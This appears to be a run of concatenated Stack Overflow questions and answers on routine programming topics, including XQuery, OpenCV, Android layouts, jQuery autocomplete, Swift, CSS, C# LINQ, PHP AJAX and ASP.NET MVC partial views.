&lt;published&gt;2001-10-02&lt;/published&gt; &lt;price&gt;98.00&lt;/price&gt; &lt;purchaseDate&gt;2005-01-22&lt;/purchaseDate&gt; &lt;/book&gt; &lt;book asin="0201976994" created="128136952" lastLookupTime="128136952"&gt; &lt;uuid&gt;1C66B7B4-6CDF-11D9-830B-000393D3DE16&lt;/uuid&gt; &lt;title&gt;Computer Networking: A Top-Down Approach Featuring the Internet&lt;/title&gt; &lt;authors&gt; &lt;author&gt;James F. Kurose&lt;/author&gt; &lt;author&gt;Keith W. Ross&lt;/author&gt; &lt;author&gt;James Kurose&lt;/author&gt; &lt;author&gt;Keith Ross&lt;/author&gt; &lt;/authors&gt; &lt;publisher&gt;Addison Wesley&lt;/publisher&gt; &lt;published&gt;2002-07-17&lt;/published&gt; &lt;price&gt;100.00&lt;/price&gt; &lt;purchaseDate&gt;2005-01-22&lt;/purchaseDate&gt; &lt;/book&gt; &lt;book asin="0131433512" created="128136952" lastLookupTime="128136952"&gt; &lt;uuid&gt;1C6AC88C-6CDF-11D9-830B-000393D3DE16&lt;/uuid&gt; &lt;title&gt;Computer Networks and Internets, Fourth Edition&lt;/title&gt; &lt;authors&gt; &lt;author&gt;Douglas E Comer&lt;/author&gt; &lt;author&gt;Ralph E. Droms&lt;/author&gt; &lt;/authors&gt; &lt;publisher&gt;Prentice Hall&lt;/publisher&gt; &lt;published&gt;2003-07-28&lt;/published&gt; &lt;price&gt;100.00&lt;/price&gt; &lt;purchaseDate&gt;2005-01-22&lt;/purchaseDate&gt; &lt;/book&gt; &lt;book asin="0262062178" created="128136952" lastLookupTime="128136952"&gt; &lt;uuid&gt;1C6E712C-6CDF-11D9-830B-000393D3DE16&lt;/uuid&gt; &lt;title&gt;Essentials of Programming Languages - 2nd Edition&lt;/title&gt; &lt;authors&gt; &lt;author&gt;Daniel P. Friedman&lt;/author&gt; &lt;author&gt;Mitchell Wand&lt;/author&gt; &lt;author&gt;Christopher T. Haynes&lt;/author&gt; &lt;/authors&gt; &lt;publisher&gt;The MIT Press&lt;/publisher&gt; &lt;published&gt;2001-01-29&lt;/published&gt; &lt;price&gt;62.00&lt;/price&gt; &lt;purchaseDate&gt;2005-01-22&lt;/purchaseDate&gt; &lt;/book&gt; &lt;book asin="0471250600" created="128136952" lastLookupTime="128136952"&gt; &lt;uuid&gt;1C71B23E-6CDF-11D9-830B-000393D3DE16&lt;/uuid&gt; &lt;title&gt;Operating System Concepts&lt;/title&gt; &lt;authors&gt; &lt;author&gt;Abraham Silberschatz&lt;/author&gt; &lt;author&gt;Greg Gagne&lt;/author&gt; &lt;author&gt;Peter Baer Galvin&lt;/author&gt; &lt;/authors&gt; &lt;publisher&gt;Wiley&lt;/publisher&gt; &lt;published&gt;2002-03-08&lt;/published&gt; &lt;price&gt;107.95&lt;/price&gt; &lt;purchaseDate&gt;2005-01-22&lt;/purchaseDate&gt; &lt;/book&gt; &lt;book asin="0137903952" created="128136952" lastLookupTime="128136952"&gt; &lt;uuid&gt;1C764AD4-6CDF-11D9-830B-000393D3DE16&lt;/uuid&gt; &lt;title&gt;Artificial Intelligence: A Modern Approach (2nd Edition)&lt;/title&gt; &lt;authors&gt; &lt;author&gt;Stuart J. Russell&lt;/author&gt; &lt;author&gt;Peter Norvig&lt;/author&gt; &lt;/authors&gt; &lt;publisher&gt;Prentice Hall&lt;/publisher&gt; &lt;published&gt;2002-12-20&lt;/published&gt; &lt;price&gt;93.33&lt;/price&gt; &lt;purchaseDate&gt;2005-01-22&lt;/purchaseDate&gt; &lt;/book&gt; &lt;book asin="155860832X" created="128136952" lastLookupTime="128136952"&gt; &lt;uuid&gt;1C898640-6CDF-11D9-830B-000393D3DE16&lt;/uuid&gt; &lt;title&gt;Computer Networks: A Systems Approach, 3rd Edition&lt;/title&gt; &lt;authors&gt; &lt;author&gt;Larry L. Peterson&lt;/author&gt; &lt;author&gt;Bruce S. Davie&lt;/author&gt; &lt;/authors&gt; &lt;publisher&gt;Morgan Kaufmann&lt;/publisher&gt; &lt;published&gt;2003-05-22&lt;/published&gt; &lt;price&gt;89.95&lt;/price&gt; &lt;purchaseDate&gt;2005-01-22&lt;/purchaseDate&gt; &lt;/book&gt; &lt;book asin="0130669474" created="128136952" lastLookupTime="128136952"&gt; &lt;uuid&gt;1C8DD37A-6CDF-11D9-830B-000393D3DE16&lt;/uuid&gt; &lt;title&gt;SQL Fundamentals (2nd Edition)&lt;/title&gt; &lt;authors&gt; &lt;author&gt;John J. Patrick&lt;/author&gt; &lt;/authors&gt; &lt;publisher&gt;Prentice Hall PTR&lt;/publisher&gt; &lt;published&gt;2002-05-07&lt;/published&gt; &lt;price&gt;54.99&lt;/price&gt; &lt;purchaseDate&gt;2005-01-22&lt;/purchaseDate&gt; &lt;/book&gt; &lt;book asin="0321122267" created="128136952" lastLookupTime="128136952"&gt; &lt;uuid&gt;1C91D772-6CDF-11D9-830B-000393D3DE16&lt;/uuid&gt; &lt;title&gt;Fundamentals of Database Systems, Fourth Edition&lt;/title&gt; &lt;authors&gt; &lt;author&gt;Ramez Elmasri&lt;/author&gt; &lt;author&gt;Shamkant B. Navathe&lt;/author&gt; &lt;/authors&gt; &lt;publisher&gt;Addison Wesley&lt;/publisher&gt; &lt;published&gt;2003-07-23&lt;/published&gt; &lt;price&gt;104.20&lt;/price&gt; &lt;purchaseDate&gt;2005-01-22&lt;/purchaseDate&gt; &lt;/book&gt; &lt;/recommendations&gt; &lt;/book&gt; &lt;book asin="1558604820" created="128136024" lastLookupTime="128136024"&gt; &lt;uuid&gt;F3C7B24F-6CDC-11D9-830B-000393D3DE16&lt;/uuid&gt; &lt;title&gt;A Complete Guide to DB2 Universal Database&lt;/title&gt; &lt;authors&gt; &lt;author&gt;D. D. Chamberlin&lt;/author&gt; &lt;author&gt;Don Chamberlin&lt;/author&gt; &lt;/authors&gt; &lt;publisher&gt;Morgan Kaufmann&lt;/publisher&gt; &lt;published&gt;1998-08-15&lt;/published&gt; &lt;edition&gt;Paperback&lt;/edition&gt; &lt;price&gt;62.95&lt;/price&gt; &lt;purchaseDate&gt;2005-01-22&lt;/purchaseDate&gt; &lt;netRating&gt;4.4&lt;/netRating&gt; &lt;genres&gt; &lt;genre&gt;Computer Bks - Data Base Management&lt;/genre&gt; &lt;genre&gt;Computer Books: Database&lt;/genre&gt; &lt;genre&gt;Computers&lt;/genre&gt; &lt;genre&gt;Database Management - General&lt;/genre&gt; &lt;genre&gt;General&lt;/genre&gt; &lt;genre&gt;IBM Database 2&lt;/genre&gt; &lt;genre&gt;Information Storage &amp;amp; Retrieval&lt;/genre&gt; &lt;genre&gt;Relational Databases&lt;/genre&gt; &lt;genre&gt;Computers / Information Storage &amp;amp; Retrieval&lt;/genre&gt; &lt;/genres&gt; &lt;recommendations&gt; &lt;book asin="0072133449" created="128136024" lastLookupTime="128136024"&gt; &lt;uuid&gt;F6B35F21-6CDC-11D9-830B-000393D3DE16&lt;/uuid&gt; &lt;title&gt;DB2: The Complete Reference (Complete Reference Series)&lt;/title&gt; &lt;authors&gt; &lt;author&gt;Roman B. Melnyk&lt;/author&gt; &lt;author&gt;Paul C. Zikopoulos&lt;/author&gt; &lt;/authors&gt; &lt;publisher&gt;McGraw-Hill Companies&lt;/publisher&gt; &lt;published&gt;2001-10-01&lt;/published&gt; &lt;price&gt;59.99&lt;/price&gt; &lt;purchaseDate&gt;2005-01-22&lt;/purchaseDate&gt; &lt;/book&gt; &lt;book asin="0130661112" created="128136024" lastLookupTime="128136024"&gt; &lt;uuid&gt;F6B97E54-6CDC-11D9-830B-000393D3DE16&lt;/uuid&gt; &lt;title&gt;DB2 UDB v8 Handbook for Windows and UNIX/Linux&lt;/title&gt; &lt;authors&gt; &lt;author&gt;Philip K. Gunning&lt;/author&gt; &lt;/authors&gt; &lt;publisher&gt;Prentice Hall PTR&lt;/publisher&gt; &lt;published&gt;2003-08-06&lt;/published&gt; &lt;price&gt;59.99&lt;/price&gt; &lt;purchaseDate&gt;2005-01-22&lt;/purchaseDate&gt; &lt;/book&gt; &lt;book asin="0131007726" created="128136024" lastLookupTime="128136024"&gt; &lt;uuid&gt;F6BCBB88-6CDC-11D9-830B-000393D3DE16&lt;/uuid&gt; &lt;title&gt;DB2 SQL Procedural Language for Linux, Unix and Windows&lt;/title&gt; &lt;authors&gt; &lt;author&gt;Paul Yip&lt;/author&gt; &lt;author&gt;Drew Bradstock&lt;/author&gt; &lt;author&gt;Hana Curtis&lt;/author&gt; &lt;author&gt;Michael Gao&lt;/author&gt; &lt;author&gt;Zamil Janmohamed&lt;/author&gt; &lt;author&gt;Clara Liu&lt;/author&gt; &lt;author&gt;Fraser McArthur&lt;/author&gt; &lt;/authors&gt; &lt;publisher&gt;Prentice Hall PTR&lt;/publisher&gt; &lt;published&gt;2002-12-24&lt;/published&gt; &lt;price&gt;59.99&lt;/price&gt; &lt;purchaseDate&gt;2005-01-22&lt;/purchaseDate&gt; &lt;/book&gt; &lt;book asin="0131424653" created="128136024" lastLookupTime="128136024"&gt; &lt;uuid&gt;F6C0A296-6CDC-11D9-830B-000393D3DE16&lt;/uuid&gt; &lt;title&gt;DB2 UDB V8.1 Certification Exam 700 Study Guide&lt;/title&gt; &lt;authors&gt; &lt;author&gt;Roger E. Sanders&lt;/author&gt; &lt;/authors&gt; &lt;publisher&gt;Prentice Hall PTR&lt;/publisher&gt; &lt;published&gt;2003-09-17&lt;/published&gt; &lt;price&gt;49.99&lt;/price&gt; &lt;purchaseDate&gt;2005-01-22&lt;/purchaseDate&gt; &lt;/book&gt; &lt;book asin="0764508415" created="128136024" lastLookupTime="128136024"&gt; &lt;uuid&gt;F6C4058C-6CDC-11D9-830B-000393D3DE16&lt;/uuid&gt; &lt;title&gt;DB2 Fundamentals Certification for Dummies&lt;/title&gt; &lt;authors&gt; &lt;author&gt;Paul C. Zikopoulos&lt;/author&gt; &lt;author&gt;Jennifer Gibbs&lt;/author&gt; &lt;author&gt;Roman B. Melnyk&lt;/author&gt; &lt;/authors&gt; &lt;publisher&gt;For Dummies&lt;/publisher&gt; &lt;published&gt;2001-08-01&lt;/published&gt; &lt;price&gt;34.99&lt;/price&gt; &lt;purchaseDate&gt;2005-01-22&lt;/purchaseDate&gt; &lt;/book&gt; &lt;book asin="0130463612" created="128136024" lastLookupTime="128136024"&gt; &lt;uuid&gt;F6D9A3D8-6CDC-11D9-830B-000393D3DE16&lt;/uuid&gt; &lt;title&gt;DB2 Universal Database V8 for Linux, UNIX, and Windows Database Administration Certification Guide (5th Edition)&lt;/title&gt; &lt;authors&gt; &lt;author&gt;George Baklarz&lt;/author&gt; &lt;author&gt;Bill Wong&lt;/author&gt; &lt;/authors&gt; &lt;publisher&gt;Prentice Hall PTR&lt;/publisher&gt; &lt;published&gt;2003-02-10&lt;/published&gt; &lt;price&gt;59.99&lt;/price&gt; &lt;purchaseDate&gt;2005-01-22&lt;/purchaseDate&gt; &lt;/book&gt; &lt;book asin="0130463884" created="128136024" lastLookupTime="128136024"&gt; &lt;uuid&gt;F6DDBAB9-6CDC-11D9-830B-000393D3DE16&lt;/uuid&gt; &lt;title&gt;Advanced DBA Certification Guide and Reference for DB2 UDB v8 for Linux, Unix and Windows&lt;/title&gt; &lt;authors&gt; &lt;author&gt;Dwaine R. Snow&lt;/author&gt; &lt;author&gt;Thomas Xuan Phan&lt;/author&gt; &lt;author&gt;Dwaine Snow&lt;/author&gt; &lt;/authors&gt; &lt;publisher&gt;Prentice Hall PTR&lt;/publisher&gt; &lt;published&gt;2003-07-07&lt;/published&gt; &lt;price&gt;59.99&lt;/price&gt; &lt;purchaseDate&gt;2005-01-22&lt;/purchaseDate&gt; &lt;/book&gt; &lt;book asin="155860443X" created="128136024" lastLookupTime="128136024"&gt; &lt;uuid&gt;F6E1063D-6CDC-11D9-830B-000393D3DE16&lt;/uuid&gt; &lt;title&gt;Advanced Database Systems (The Morgan Kaufmann Series in Data Management Systems)&lt;/title&gt; &lt;authors&gt; &lt;author&gt;Carlo Zaniolo&lt;/author&gt; &lt;author&gt;Stefano Ceri&lt;/author&gt; &lt;author&gt;Christos Faloutsos&lt;/author&gt; &lt;author&gt;Richard T. Snodgrass&lt;/author&gt; &lt;author&gt;V. S. Subrahmanian&lt;/author&gt; &lt;author&gt;Roberto Zicari&lt;/author&gt; &lt;/authors&gt; &lt;publisher&gt;Morgan Kaufmann&lt;/publisher&gt; &lt;published&gt;1997-05-01&lt;/published&gt; &lt;price&gt;88.95&lt;/price&gt; &lt;purchaseDate&gt;2005-01-22&lt;/purchaseDate&gt; &lt;/book&gt; &lt;book asin="0131840487" created="128136024" lastLookupTime="128136024"&gt; &lt;uuid&gt;F6E441CE-6CDC-11D9-830B-000393D3DE16&lt;/uuid&gt; &lt;title&gt;DB2 UDB V8.1 Certification Exams 701 and 706 Study Guide&lt;/title&gt; &lt;authors&gt; &lt;author&gt;Roger E. Sanders&lt;/author&gt; &lt;/authors&gt; &lt;publisher&gt;Prentice Hall PTR&lt;/publisher&gt; &lt;published&gt;2003-12-12&lt;/published&gt; &lt;price&gt;49.99&lt;/price&gt; &lt;purchaseDate&gt;2005-01-22&lt;/purchaseDate&gt; &lt;/book&gt; &lt;book asin="0132037955" created="128136024" lastLookupTime="128136024"&gt; &lt;uuid&gt;F6E77C2C-6CDC-11D9-830B-000393D3DE16&lt;/uuid&gt; &lt;title&gt;DB2 High Performance Design and Tuning&lt;/title&gt; &lt;authors&gt; &lt;author&gt;Richard Yevich&lt;/author&gt; &lt;author&gt;Susan Lawson&lt;/author&gt; &lt;author&gt;Richard A. Yevich&lt;/author&gt; &lt;/authors&gt; &lt;publisher&gt;Prentice Hall PTR&lt;/publisher&gt; &lt;published&gt;2000-08-24&lt;/published&gt; &lt;price&gt;54.99&lt;/price&gt; &lt;purchaseDate&gt;2005-01-22&lt;/purchaseDate&gt; &lt;/book&gt; &lt;/recommendations&gt; &lt;/book&gt; &lt;/items&gt; &lt;borrowers&gt; &lt;borrower id="1"&gt; &lt;name&gt; John Doe &lt;/name&gt; &lt;phone&gt; 555-1212 &lt;/phone&gt; &lt;borrowed&gt; &lt;book asin="0138613370"/&gt; &lt;book asin="0122513363"/&gt; &lt;/borrowed&gt; &lt;/borrower&gt; &lt;borrower id="2"&gt; &lt;name&gt; Mary Jane &lt;/name&gt; &lt;phone&gt; 555-1213 &lt;/phone&gt; &lt;borrowed&gt; &lt;book asin="0201100886"/&gt; &lt;book asin="0122513363"/&gt; &lt;/borrowed&gt; &lt;/borrower&gt; &lt;borrower id="3"&gt; &lt;name&gt; Bill Jones &lt;/name&gt; &lt;phone&gt; 555-1312 &lt;/phone&gt; &lt;borrowed /&gt; &lt;/borrower&gt; &lt;borrower id="4"&gt; &lt;name&gt; Anne Marie&lt;/name&gt; &lt;phone&gt; 555-1314&lt;/phone&gt; &lt;borrowed&gt; &lt;book asin="0138613370"/&gt; &lt;book asin="0201100886"/&gt; &lt;book asin="0122513363"/&gt; &lt;book asin="1558604820"/&gt; &lt;/borrowed&gt; &lt;/borrower&gt; </code></pre> <p> </p> <p>Here is my XQuery:</p> <pre><code>xquery version "1.0"; for $library in doc("library.xml")/library for $book in $library/items/book let $borrowed := $library/borrowers/borrower/borrowed/book where not($borrowed[@asin = $book/@asin]) and ($book/authors/author = "Jeffrey D. Ullman") return if($book/authors/author != "Jeffrey D. Ullman") then &lt;librarytitle&gt;{$book/authors/author}&lt;/librarytitle&gt; else &lt;librarytitle/&gt; </code></pre> <p>I need to return all authors where Jeff D Ullman is a coauthor but in the list I cant return his name. So i get all books he is an author in and print them out. If his name is there dont print it out. My if then else statement is not working. Any ideas????</p>
39505739	0	OpenCV floodfill while maintaining intensity of objects takes too long to run <p>I am using OpenCV 3.1.0 to change the color of certain areas in an image. OpenCV's floodfill is doing an excellent job of selecting the area and changing the color to a solid new value. But the output image pixels lose their intensity and the shadows in the images are lost.</p> <p>What I need is that the color replacement in floodfill takes into consideration the intensity of the pixel and fill a slightly darker or lighter shade of that color accordingly.</p> <p>What I did -</p> <ol> <li>Converted the original image to HLS color space and saved this Mat separately. Original Image link- <a href="https://www.walldevil.com/wallpapers/a40/thumb/desktop-themes-skins-office-wallpapers-walls.jpg" rel="nofollow">https://www.walldevil.com/wallpapers/a40/thumb/desktop-themes-skins-office-wallpapers-walls.jpg</a></li> <li>Used floodfill on image with new color. Convert this to HLS too. </li> <li>Parsed each pixel of the new image and wherever the floodfill had replaced the color, changed the L value by incrementing or decrementing the new L with the difference between the old L and average L of changed pixels. <a href="http://i.stack.imgur.com/gMVWk.png" rel="nofollow">Output after Intensity Readjustment</a></li> </ol> <p>The problem is first I calculated the average L of changed pixels and then parse each pixel again to adjust the L value. All this is taking too long to execute</p> <p>Is there a way I can optimize my approach for faster output.</p> <pre><code>Mat dst = isColor ? image : gray; int area; if( useMask ) { threshold(mask, mask, 1, 128, THRESH_BINARY); area = floodFill(dst, mask, seed, newVal, &amp;ccomp, Scalar(lo, lo, lo), Scalar(up, up, up), flags); imshow( "mask", mask ); } else { area = floodFill(dst, seed, newVal, &amp;ccomp, Scalar(lo, lo, lo), Scalar(up, up, up), flags); } cvtColor(dst,hsvmask,CV_BGR2HLS); for(int i=0;i&lt;image.rows;i++) for(int j=1;j&lt;image.cols*3;j=j+3) { float o_hue=(float)imghsv.at&lt;uchar&gt;(i,j); float n_hue=(float)hsvmask.at&lt;uchar&gt;(i,j); float s_intensity=(float)imghsv.at&lt;uchar&gt;(y,x*3+1); float o_intensity=(float)imghsv.at&lt;uchar&gt;(i,j); float n_intensity=(float)hsvmask.at&lt;uchar&gt;(i,j); float newIntensity=n_intensity + (o_intensity-s_intensity); hsvmask.at&lt;uchar&gt;(i,j)=((o_hue==n_hue)?o_intensity:newIntensity&lt;0?0:newIntensity); } hsvmask.copyTo(imghsv); cvtColor(hsvmask,dst,CV_HLS2BGR); imshow("image", dst); </code></pre> <p>The code in nested for loops is how I restore the intensity by traversing each pixel. But it is very slow in terms of execution.</p>
12391404	0	android align View programmatically <p>I have a LinearLayout that comprises some number of TextViews. I set </p> <pre><code>android:gravity="center_horizontal" </code></pre> <p>for the parent Layout and result looks as below (for N=2):</p> <p><img src="https://i.stack.imgur.com/0OeOg.png" alt="enter image description here"></p> <p>I want it look like</p> <p><img src="https://i.stack.imgur.com/4FjE8.png" alt="enter image description here"></p> <p>In other words, I want them to be aligned to the left. More precisely, my plan is to find the longest TextView and then align other TextViews to the left bound of that view. Can anyone explain me in what callback of my Activity can I do it? I tried</p> <pre><code>public void onCreate(Bundle savedInstanceState) </code></pre> <p>but</p> <pre><code>textView.getWidth() </code></pre> <p>(that I use to find the longest TextView) returns 0 for all textViews. The second question is: what method should I use to move a TextView "n" pixels left?</p>
22553160	0	 <p>You can consider to check the number of displayed elements in the <code>open</code> event, if the <code>len</code> is 0 you can display another element accordingly.</p> <p>Other solutions are to use a custom <code>_renderItem</code> function or a custom extended widget, but in this case this can be a simpler solution.</p> <p>Code:</p> <pre><code>$("#project").autocomplete({ minLength: 0, source: projects, open: function (event, ui) { var len = $('.ui-autocomplete &gt; li').length; $('#count').html('Founded ' + len + ' results'); } }); </code></pre> <p>Demo: <a href="http://jsfiddle.net/IrvinDominin/DZ9zU/" rel="nofollow">http://jsfiddle.net/IrvinDominin/DZ9zU/</a></p> <h2>UPDATE</h2> <p>Better using <a href="http://api.jqueryui.com/autocomplete/#event-response" rel="nofollow"><code>response</code></a> event:</p> <blockquote> <p>Triggered after a search completes, before the menu is shown. Useful for local manipulation of suggestion data, where a custom source option callback is not required. This event is always triggered when a search completes, even if the menu will not be shown because there are no results or the Autocomplete is disabled.</p> </blockquote> <p>Code:</p> <pre><code>$("#project").autocomplete({ minLength: 0, source: projects, response: function (event, ui) { var len = ui.content.length; $('#count').html('Founded ' + len + ' results'); } }); </code></pre> <p>Demo: <a href="http://jsfiddle.net/IrvinDominin/DZ9zU/1/" rel="nofollow">http://jsfiddle.net/IrvinDominin/DZ9zU/1/</a></p>
38156993	0	How to use for in loop decrement condition in swift? <p>I can use the for in loop in Swift through this code</p> <pre><code> for i in 0..&lt;5 { print ("Four multiplied by \(i) results in \(i*4)" ) } </code></pre> <p>But how do i use the for with less than ">" condition.</p> <pre><code> for i in 10&gt;..5 { print ("Four multiplied by \(i) results in \(i*4)" ) } </code></pre> <p>It shows <strong>error: '>' is not a postfix unary operator for i in 10>..5</strong></p>
32674086	0	 <p>The <code>&lt;html&gt;</code> background is "behind" the <code>&lt;body&gt;</code> background. Try this to see what I mean:</p> <pre><code>html{ background-color:blue; } body{ background-color:white; max-width:400px; margin:0 auto; } </code></pre>
13729706	0	 <p>If you want to copy the item from index 0 in the first list to index 0 in the second, and so on for all of the other indexes you can do this:</p> <pre><code>var pairs = members.Zip(divisions, (a, b) =&gt; new { Member = a, Division = b, }); foreach (var pair in pairs) { Copy(pair.Member, pair.Division); } </code></pre> <p>If the indexes don't match you need to do a join:</p> <pre><code>var pairs = members.Join(divisions , member =&gt; member.DivisionId , division =&gt; division.DivisionId , (a, b) =&gt; new { Member = a, Division = b, }); foreach (var pair in pairs) { Copy(pair.Member, pair.Division); } </code></pre> <p>Note that the <code>Zip</code> will be faster, if the items are already in the proper order. Join will be slower than the Zip, but will be faster than manually re-ordering the items to allow a <code>Zip</code>.</p>
16526029	0	 <p>Your OS will buffer a certain amount of incoming TCP data. For example on Solaris this defaults to 56K but can be reasonably configured for up to several MB if heavy bursts are expected. Linux appears to default to much smaller values, but you can see instructions on this web page for increasing those defaults: <a href="http://www.cyberciti.biz/faq/linux-tcp-tuning/" rel="nofollow">http://www.cyberciti.biz/faq/linux-tcp-tuning/</a></p>
14388250	0	Android : Network on main Thread with a Widget <p>I made a simple widget (<code>AppWidgetProvider</code>). To load its content, it needs to connect to the internet (<code>JSoup</code> is amazing). Obviously, I've got a wonderful <code>NetworkOnMainThreadException</code>. I tried to do an <code>AsyncTask</code> but Eclipse is shouting <code>No enclosing instance of type WidgetClass is accessible. Must qualify the allocation with an enclosing instance of type WidgetClass (e.g. x.new A() where x is an instance of WidgetClass).</code> at me, so I can't run it.</p> <p>How could I solve it ?</p> <p>Thanks !</p>
36142507	0	Php AJAX search with external JSON file <p>So Im trying to create an input field that displays results without the need of a refresh from an external JSON file. My current code works fine, however how would I achieve checking for results in an external JSON file instead of directly in the php file?</p> <p>My JSON file: (I'd like to display results from "name").</p> <pre><code>[ {"name" : "300", "year" : "1999", "plot" : "X", "run" : "200 min", "rated" : "PG-13", "score" : "10/10", "source" : "A", "id" : "000"}, {"name" : "200", "year" : "1999", "plot" : "X", "run" : "200 min", "rated" : "PG-13", "score" : "10/10", "source" : "A", "id" : "000"} ] </code></pre> <p>My html and Javascript:</p> <pre><code>&lt;script&gt; function showHint(str) { if (str.length == 0) { document.getElementById("txtHint").innerHTML = ""; return; } else { var xmlhttp = new XMLHttpRequest(); xmlhttp.onreadystatechange = function() { if (xmlhttp.readyState == 4 &amp;&amp; xmlhttp.status == 200) { document.getElementById("txtHint").innerHTML = xmlhttp.responseText; } }; xmlhttp.open("GET", "gethint.php?q=" + str, true); xmlhttp.send(); } } &lt;/script&gt; &lt;p&gt;&lt;b&gt;Start typing a name in the input field below:&lt;/b&gt;&lt;/p&gt; &lt;form&gt; First name: &lt;input type="text" onkeyup="showHint(this.value)"&gt; &lt;/form&gt; &lt;p&gt;Suggestions: &lt;span id="txtHint"&gt;&lt;/span&gt;&lt;/p&gt; </code></pre> <p>gethint.php</p> <pre><code>&lt;?php //Instead of using these I'd like to use the external JSON file $a[] = "Anna"; $a[] = "Brittany"; $a[] = "Cinderella"; $a[] = "Diana"; // get the q parameter from URL $q = $_REQUEST["q"]; $hint = ""; // lookup all hints from array if $q is different from "" if ($q !== "") { $q = strtolower($q); $len=strlen($q); foreach($a as $name) { if (stristr($q, substr($name, 0, $len))) { if ($hint === "") { $hint = $name; } else { $hint .= ", $name"; } } } } // Output "no suggestion" if no hint was found or output correct values echo $hint === "" ? "no suggestion" : $hint; ?&gt; </code></pre>
1182395	0	 <p>As a bug-tracker, I am using <a href="http://www.mantisbt.org/" rel="nofollow noreferrer">Mantis</a> :</p> <ul> <li>it is not too hard to use (our clients are using it OK, even if they are not programmers) </li> <li>it does the job ; tracking bugs, at least, with what functionnalities you could expect</li> <li>it is written in PHP, which is great if you are yourself working with PHP : it means you already have servers that can host it, and that you will know how to solve problems if you encounter some (that's one of my problems with Trac : I don't know anything about Python, to, when there's a problem, I'l literally stuck... )</li> <li>also, if you take a look at their <a href="http://www.mantisbt.org/blog/" rel="nofollow noreferrer">blog</a>, you will notice there have been some new versions this years, which means it's still under development <em>(which is better than using an old tool noone cares about anymore ^^ )</em></li> </ul> <p>There's a <a href="http://www.mantisbt.org/demo/my_view_page.php" rel="nofollow noreferrer">demo available</a>, btw.</p>
15485149	0	 <p>It will help you. <a href="http://css-tricks.com/snippets/css/media-queries-for-standard-devices/" rel="nofollow">Media Queries for standard devices.</a></p> <p>And use it as your meta tag.</p> <pre><code>&lt;meta name="viewport" content="width=device-width; initial-scale=1.0; maximum-scale=1.0; minimum-scale=1.0; user-scalable=no; target-densityDpi=device-dpi" /&gt; </code></pre>
17502294	0	What is the proper way to submit data from Parent form with partial view MVC 4? <p>The Main Controller</p> <pre><code>public class TestPartialController : Controller { // // GET: /TestPartial/ public ActionResult Index() { return View(); } [HttpPost] public ActionResult Index(Main model) { HttpContext.Items.Add("MainModel", model); return View(); } public ActionResult PartialA() { return PartialView(); } [HttpPost] public ActionResult PartialA(PartialA a) { if (HttpContext.Items["MainModel"] != null) { Main model =(Main) HttpContext.Items["MainModel"]; model.PA = a; } return PartialView(); } public ActionResult PartialB() { return PartialView(); } [HttpPost] public ActionResult PartialB(PartialB b) { if (HttpContext.Items["MainModel"] != null) { Main model = (Main)HttpContext.Items["MainModel"]; model.PB = b; } SubmitDatatoDB(); return PartialView(); } public void SubmitDatatoDB() { if (HttpContext.Items["MainModel"] != null) { Main model = (Main)HttpContext.Items["MainModel"]; //SubmitDatatoDB } } } </code></pre> <p>Models:-</p> <pre><code>namespace TestingMVC4.Models { public class Main { public string Main1 { get; set; } public string Main2 { get; set; } public virtual PartialA PA { get; set; } public virtual PartialB PB { get; set; } } public class PartialA { public string UserName { get; set; } public string UserID { get; set; } } public class PartialB { public string UserNameB { get; set; } public string UserIDB { get; set; } } } </code></pre> <p>View :-</p> <pre><code>@model TestingMVC4.Models.Main @{ ViewBag.Title = "Index"; } &lt;h2&gt;Index&lt;/h2&gt; @using (Html.BeginForm()) { @Html.ValidationSummary(true) &lt;fieldset&gt; &lt;legend&gt;Main&lt;/legend&gt; &lt;div class="editor-label"&gt; @Html.LabelFor(model =&gt; model.Main1) &lt;/div&gt; &lt;div class="editor-field"&gt; @Html.EditorFor(model =&gt; model.Main1) @Html.ValidationMessageFor(model =&gt; model.Main1) &lt;/div&gt; &lt;div class="editor-label"&gt; @Html.LabelFor(model =&gt; model.Main2) &lt;/div&gt; &lt;div class="editor-field"&gt; @Html.EditorFor(model =&gt; model.Main2) @Html.ValidationMessageFor(model =&gt; model.Main2) &lt;/div&gt; &lt;div&gt; @Html.Action("PartialA","TestPartial") &lt;/div&gt; &lt;div&gt; @Html.Action("PartialB","TestPartial") &lt;/div&gt; &lt;p&gt; &lt;input type="submit" value="Create" /&gt; &lt;/p&gt; &lt;/fieldset&gt; } @model TestingMVC4.Models.PartialA @using (Html.BeginForm()) { @Html.ValidationSummary(true) &lt;fieldset&gt; &lt;legend&gt;PartialA&lt;/legend&gt; &lt;div class="editor-label"&gt; @Html.LabelFor(model =&gt; model.UserName) &lt;/div&gt; &lt;div class="editor-field"&gt; @Html.EditorFor(model =&gt; model.UserName) @Html.ValidationMessageFor(model =&gt; model.UserName) &lt;/div&gt; &lt;div class="editor-label"&gt; @Html.LabelFor(model =&gt; model.UserID) &lt;/div&gt; &lt;div class="editor-field"&gt; @Html.EditorFor(model =&gt; model.UserID) @Html.ValidationMessageFor(model =&gt; model.UserID) &lt;/div&gt; &lt;/fieldset&gt; } </code></pre> <p>Mine Question is if doing like this, the Index of HTTPPOST of main view will fire first. than follow by Partial view A and Partial View B. In this case I need to store the data in HttpContext.Items and call the submit to Database in the last Partial view B.</p> <p>What I want is fire the Partial view A and B first, and store the data into Main View's model and call the SubmitDatatoDB function in Main View's POST Action. </p>
9483876	0	 <p>Apparently the VCSCommand plugin has a setting called <code>VCSCommandDeleteOnHide</code> which when set to non zero will <code>:bdelete</code> the buffer on a hide which this includes <code>:q</code>. Note: this will apply to all VCSCommand buffers.</p> <pre><code>let g:VCSCommandDeleteOnHide = 1 </code></pre> <p>If you really want to wipe just the annotate the buffer you can do the following instead.</p> <pre><code>autocmd FileType svnannotate set bufhidden=wipe </code></pre> <p>See</p> <pre><code>:h VCSCommandDeleteOnHide :h 'bufhidden' </code></pre>
32672383	0	Swift use of unresolved identifier 'webView' <p>I want to add a webview to my application, but i keep getting this freaking error for webview. Please help!</p> <pre><code>import UIKit class Browse: UIViewController { @IBOutlet weak var browseweb: UIWebView! let browseurl = "http://google.com" override func viewDidLoad() { super.viewDidLoad() let requestURL = NSURL(string:browseurl) let request = NSURLRequest(URL: requestURL!) webView.loadRequest(request) // Do any additional setup after loading the view, typically from a nib. } override func didReceiveMemoryWarning() { super.didReceiveMemoryWarning() // Dispose of any resources that can be recreated. } } </code></pre>
21746286	0	 <p><code>gsl_ran_binomial</code> should be declared with the <code>random</code> attribute, because it is a random number generator:</p> <pre><code>function gsl_ran_binomial random; </code></pre>
